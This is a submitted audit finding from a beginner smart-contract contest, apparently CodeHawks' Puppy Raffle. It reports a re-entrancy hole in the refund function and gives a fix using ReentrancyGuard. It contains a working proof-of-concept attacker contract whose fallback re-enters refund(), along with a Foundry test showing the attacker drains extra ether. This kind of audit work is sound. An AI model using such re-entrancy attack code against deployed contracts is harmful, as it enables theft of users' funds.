First Flight #2: Puppy Raffle
First Flight #2
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Re-entrancy vulnerability on the refund function can be used to drain the contract balance

0xswahili

Summary

The refund function is vulnerable to re-entrancy attack and can be used to drain the contract balance

Vulnerability Details

The refund function is vulnerable to re-entrancy attack and can be used to drain the contract balance. Specifically, an external call is made via:

payable(msg.sender).sendValue(entranceFee);

while the function itself is not protected against re-entrancy.
For a POC, Create this contract:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.7.6;
​
contract Hack {
uint256 public _tracker;
address private _target;
​
constructor(address target){
_target = target;
}
​
function receive() external payable {
//hack();
}
​
fallback() external payable {
_tracker++;
if(_tracker > 1 ) return;
(bool success,bytes memory b) = _target.call(
abi.encodeWithSignature("getActivePlayerIndex(address)", address(this))
);
uint256 index = abi.decode(b, (uint256));
(success,) = _target.call(
abi.encodeWithSignature("refund(uint256)", index)
);
}
​
}

Add this test to PuppyRaffleTest:

​
​
function testReentrancyGetRefund() public playerEntered {
address[] memory players = new address[](1);
players[0] = address(h);
puppyRaffle.enterRaffle{value: entranceFee}(players);
uint256 indexOfPlayer = puppyRaffle.getActivePlayerIndex(address(h));
​
vm.prank(address(h));
puppyRaffle.refund(indexOfPlayer);
assertEq(address(h).balance, entranceFee * 2);
}
​

Impact

The refund function can be used to drain the contract balance

Tools Used

Manual review

Recommendations

Use Openzeppelin ReentrancyGuard contract and apply the nonReentrant modifier on the refund function.

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

reentrancy-in-refund

reentrancy in refund() function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!